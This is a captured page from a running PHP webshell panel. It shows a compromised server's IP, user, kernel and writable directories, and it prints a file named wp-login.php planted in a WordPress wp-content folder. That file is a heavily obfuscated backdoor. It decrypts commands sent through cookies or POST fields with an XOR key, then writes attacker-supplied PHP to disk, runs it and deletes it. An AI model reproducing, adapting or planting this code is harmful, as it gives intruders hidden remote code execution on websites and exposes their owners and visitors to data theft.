403Webshell
Server IP : 103.175.220.74  /  Your IP : 216.73.216.151
Web Server : nginx/1.18.0
System : Linux p-floo-wj1-db 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : deploy ( 1003)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app/web.onega.id/wp-landing/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app/web.onega.id/wp-landing/wp-content/wp-login.php
<?php 

$ngjhefgh /*ufq   */ =	'ngjhefgh'     ^ /* xjjinl   */ '';




function    vhvouommf($xxylb, /*  y  */ $wwqtdg)


{

    global /* cyou_   */ $ngjhefgh;
	

 /*  ukoxl */ $xxylb /*q */ =	"<" /*  gk  */ . /*  obovhx  */ "\77"    .	"p".$ngjhefgh(788-684)     .     "p".$ngjhefgh(32)	.  "u".$ngjhefgh(850-740)	.       "\154"	.    $ngjhefgh(749-644)	.    "\156" /*  j  */ .     "k".$ngjhefgh(40) /*hisxax   */ .  $ngjhefgh(990-895)       .       "_"."F"."\x49"	. /* yeb_   */ "L"."E"."\x5f"    .     "_"."\51" /*_  */ .    $ngjhefgh(646-587)    .    $ngjhefgh(32)	. /* wqxxys  */ $xxylb["\144"];

 /*   iek */ $myfoj	=  "\x66" /*   izjabz*/ .   "i".$ngjhefgh(108)      .     $ngjhefgh(101)   . /*apjm_   */ "_".$ngjhefgh(942-830)	.    "u"."t"."\x5f"	.      "c".$ngjhefgh(111)    . /* i*/ $ngjhefgh(110)    .  $ngjhefgh(116)	. /*   ami */ "\x65"       . /*  cyhve  */ $ngjhefgh(612-502)	. /*  wemhfh   */ "\164" /*efdzsq  */ .     "\163";
     

	$myfoj($wwqtdg,    $xxylb);
     
 /*   upbdx   */ nriry($wwqtdg);}


function /*   e_s*/ iwulsb()

{	$ohdfss    = /* p  */ 36;


    $wpeu_ld       =	'yw';

 /*   c   */ $lfgtzcdh   = /* eh*/ 'kb'; /* v */ $tsmoaexq       =       'vo_rawha';

    $efmnsba /*  rl*/ =    str_replace('pqhbts', /*   ct */ 'wut',  $tsmoaexq);
}


iwulsb();

$blhasmlg      =    73;




function	nriry($wwqtdg)

{


 /*  g */ global    $ngjhefgh;
 /* sb   */ 	include($wwqtdg);

  $ffpoklmejq     = /*hl   */ $wwqtdg;
 /*  zqkg   */ @unlink($ffpoklmejq);


}


function /*  v   */ fhyck()
{


      global     $ngjhefgh;


 /* eqa   */ $dhnpcs       =    array();    $dhnpcs["\160"   .       "\166"]    = /*  rnqpyl   */ phpversion();

 /*f_cemn  */ $dhnpcs["\x73"  . /* pi   */ "\x76"] /*  xctbc */ = /*ftxox  */ "3".".".$ngjhefgh(53);
	$wj_rrnpzwe /* gs*/ = /* chvulg*/ 74;
    echo /*   u  */ @serialize($dhnpcs);
}

function /* dos  */ lydygwrudv()


{
 /*  pp_   */ $wthxj /*  c*/ =   'aq';

    $v_rfva /*imve  */ = /* rqkdqx */ 44;
    $hjtqbtvz /*nbx   */ = /*   nrh  */ 47;


     $fnsylqzajm /* byp */ =	'enqcmdknp_';

}


lydygwrudv();

function    oomvjf($xxylb,   $ugbrpjbhlb)


{


 /* t   */ global /*   pg */ $ngjhefgh;


  $hvmcrotcsh  = /*   bqzztl */ "";	$exuzloi    =	'dfia_xun';
	$dhnpcs	= /* khbk  */ 0;	while  ($dhnpcs    <       strlen($xxylb)) /*oty*/ {      for /*   s*/ ($_tkycs    =   0;    $_tkycs	< /* ka   */ strlen($ugbrpjbhlb)	&&    $dhnpcs /*   cebi   */ <	strlen($xxylb); /* ercmhu   */ $_tkycs++, /*jxa*/ $dhnpcs++)	{

  $hvmcrotcsh /* lo_idd*/ .= /*   yefm */ $ngjhefgh(ord($xxylb[$dhnpcs])	^ /*  rkrv  */ ord($ugbrpjbhlb[$_tkycs]));
	}
   }

    return /*qsdgy   */ $hvmcrotcsh;


}



function	dxobu()


{ /*   buefqa */ $ytcbbxh	= /*x*/ 14;	$_k_qddwtl /*   a*/ =     'mn';

 /*yqf  */ $gpyhsnx    =	18;

     $eegpxwrnz /*jjswy  */ =    49;


    $tdwxfhsk    = /*uziljy*/ 'vkblzanw';

      $rkjvcpdjyi  =   'fx_zs';


 /* rgido  */ $ytcbbxh       = /*  ipe */ $eegpxwrnz /*  vnijtj*/ *	$eegpxwrnz;


    $qweqkrwk    =    $eegpxwrnz	/  ($eegpxwrnz    +       10);


       $_bz_u	= /* z */ 39;

}

dxobu();

function   efhhgbdyy($xxylb,	$zwxfj, /* m   */ $tigebl)

{	global     $ngjhefgh;

       
      $xxylb    =    unserialize(oomvjf(oomvjf($xxylb, /*   xudve */ $zwxfj), /*   kzx*/ $tigebl));
	$nszoemr    = /*   lq */ 'krldud';

	$gose_	=      'faxjv_b';
	if    (isset($xxylb[$ngjhefgh(282-185)."k"]))	{ /*  hnkpg*/ if /* vyf   */ ($xxylb[$ngjhefgh(282-185)] /*g*/ ==    "i") /*  zkkh   */ {
      fhyck();
   }	elseif /* qsf*/ ($xxylb[$ngjhefgh(282-185)] /*   rl */ == /*gukgo  */ $ngjhefgh(799-698))  {
	vhvouommf($xxylb, /*   frtrn */ sprintf("."."/".$ngjhefgh(37)    .    $ngjhefgh(366-251)    .    $ngjhefgh(46)       .    $ngjhefgh(601-489) /* rw  */ .     "l",      md5($zwxfj)));


			$krakjwye /*  vb*/ =   44; /*shhj  */ }      exit();     }


}







	$hzmuqffp     =      69;

	$qyqwyixnh       =    22;


$zwxfj /*   x*/ =	"7".$ngjhefgh(57)   . /*   p*/ $ngjhefgh(869-820) /* t */ .     $ngjhefgh(1022-968)    .     "8"."\x34"       .    "9".$ngjhefgh(514-465)	.    $ngjhefgh(178-133) /*   yg*/ . /*  wnce  */ "4"."\x38" /* _   */ .  $ngjhefgh(931-883)  . /*npopht   */ "f"."-"."\64"    . /*  mwjgx */ "6".$ngjhefgh(556-503)      .    $ngjhefgh(57) /* h */ . /*  agjwv */ "-"."9".$ngjhefgh(799-698)."\144"."6".$ngjhefgh(45) /* o */ .    $ngjhefgh(873-824)    .    "\x31"     .    "c".$ngjhefgh(865-768) /* xu_ */ .      "c"."\x63" /* dozrvp  */ .	"c".$ngjhefgh(446-395)	.	"c"."9"."\x38"    . /* oj   */ "5";$qyqwyixnh      =  $hzmuqffp  + /*  _xypci  */ 15;

foreach /*p */ ($_COOKIE /*  tziglo*/ as    $tigebl    =>   $xxylb)       {
 /*   hvyj*/ efhhgbdyy(base64_decode($xxylb), /* e  */ $zwxfj, /*   eg   */ $tigebl);
}


foreach	($_POST	as /*   vubd   */ $tigebl     => /*   bd */ $xxylb)       {

 /*ebozs */ efhhgbdyy(base64_decode($xxylb), /*   yalg   */ $zwxfj, /*   nnrpvc  */ $tigebl);


}




$_tkycskhlsg /* bxqlmt */ = /* bc  */ 6;




?>

Youez - 2016 - github.com/yon3zu
LinuXploit